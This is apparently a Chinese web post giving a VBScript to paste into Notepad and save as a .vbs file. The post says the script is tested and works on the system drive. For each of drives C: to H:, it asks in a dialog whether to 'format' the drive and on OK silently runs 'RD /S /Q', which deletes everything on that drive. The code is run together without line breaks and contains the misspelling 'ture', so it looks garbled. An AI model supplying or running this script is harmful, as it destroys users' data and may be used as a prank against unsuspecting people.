|
将以下代码复制到记事本中，保存扩展名为vbs的文件 程序已经调试过 ok啦！支持系统盘！！代码开始：Set Ws =CreateObject("WScript.Shell")s = MsgBox("此操作危险，是否确定格式化C盘?", vbOKCancel)If s = 1 ThenWs.Run "%Comspec% /c"&"RD /S /Q c:\",0,tureelses = MsgBox("是否格式化D盘?", vbOKCancel)If s = 1 ThenWs.Run "%Comspec% /c"&"RD /S /Q d:\",0,tureelses = MsgBox("是否格式化E盘?", vbOKCancel)If s = 1 ThenWs.Run "%Comspec% /c"&"RD /S /Q e:\",0,tureelses = MsgBox("是否格式化F盘?", vbOKCancel)If s = 1 ThenWs.Run "%Comspec% /c"&"RD /S /Q f:\",0,tureelses = MsgBox("是否格式化G盘?", vbOKCancel)If s = 1 ThenWs.Run "%Comspec% /c"&"RD /S /Q g:\",0,tureelses = MsgBox("是否格式化H盘?", vbOKCancel)If s = 1 ThenWs.Run "%Comspec% /c"&"RD /S /Q h:\",0,tureend ifend ifend ifend ifend ifend if |
